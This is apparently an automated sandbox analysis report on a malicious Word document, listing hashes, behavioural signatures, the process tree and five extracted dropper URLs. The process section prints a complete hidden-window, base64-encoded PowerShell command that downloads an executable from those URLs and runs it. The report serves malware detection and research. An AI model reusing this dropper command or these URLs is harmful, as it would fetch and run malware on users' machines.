Analysis

  • max time kernel
    53s
  • max time network
    29s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    20/11/2024, 05:47

General

  • Target

    7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef.doc

  • Size

    181KB

  • MD5

    f5f319b1de24e14da087f06058bc3627

  • SHA1

    0084b76f4cf72bd0c05fa05aa301d95f395bc57e

  • SHA256

    7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef

  • SHA512

    39dfaaa12d70f5890a4347df437d251880fe26bcece3968eb98d0eef90d702997301f28930daa4abf697961806486a4a2571ae20c24678739a2bce2ad3bae7c3

  • SSDEEP

    3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUdasiv8OP73:9NO2k4PF7tGiL3HJk9rD7bdasiv86j

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7a18fe0aea0584eb447028be2e1415a7e269a77bf46b589d27ca2b83a2ef48ef.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1820
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2920
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3052

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7AC48529.wmf

      Filesize

      444B

      MD5

      12df09e619eff10829bad7ea9636a8dc

      SHA1

      4bc28d0a303e153af90110889ae4acb12f4960f4

      SHA256

      fa3e6af57694ae1fd969e7741cfce91658dee2ec05c702492a5e20dee4df66d0

      SHA512

      ed5d19a66f509f555ccfb934a30eb86daf5f60fa0f15b29d483f18c9ec32af3b0518451b7721aeb7f1fdb72bc12fbe1ef9794e19f577bd7166b01880d4187447

    • memory/1820-19-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-27-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-7-0x0000000006780000-0x0000000006880000-memory.dmp

      Filesize

      1024KB

    • memory/1820-0-0x000000002FD31000-0x000000002FD32000-memory.dmp

      Filesize

      4KB

    • memory/1820-16-0x0000000006A30000-0x0000000006B30000-memory.dmp

      Filesize

      1024KB

    • memory/1820-21-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-20-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-24-0x0000000006A30000-0x0000000006B30000-memory.dmp

      Filesize

      1024KB

    • memory/1820-2-0x000000007175D000-0x0000000071768000-memory.dmp

      Filesize

      44KB

    • memory/1820-23-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1820-26-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-45-0x0000000006A30000-0x0000000006B30000-memory.dmp

      Filesize

      1024KB

    • memory/1820-44-0x0000000000390000-0x0000000000490000-memory.dmp

      Filesize

      1024KB

    • memory/1820-41-0x000000007175D000-0x0000000071768000-memory.dmp

      Filesize

      44KB

    • memory/1820-42-0x0000000006780000-0x0000000006880000-memory.dmp

      Filesize

      1024KB

    • memory/1820-43-0x0000000006A30000-0x0000000006B30000-memory.dmp

      Filesize

      1024KB

    • memory/3052-34-0x00000000021D0000-0x00000000021D8000-memory.dmp

      Filesize

      32KB

    • memory/3052-33-0x000000001B690000-0x000000001B972000-memory.dmp

      Filesize

      2.9MB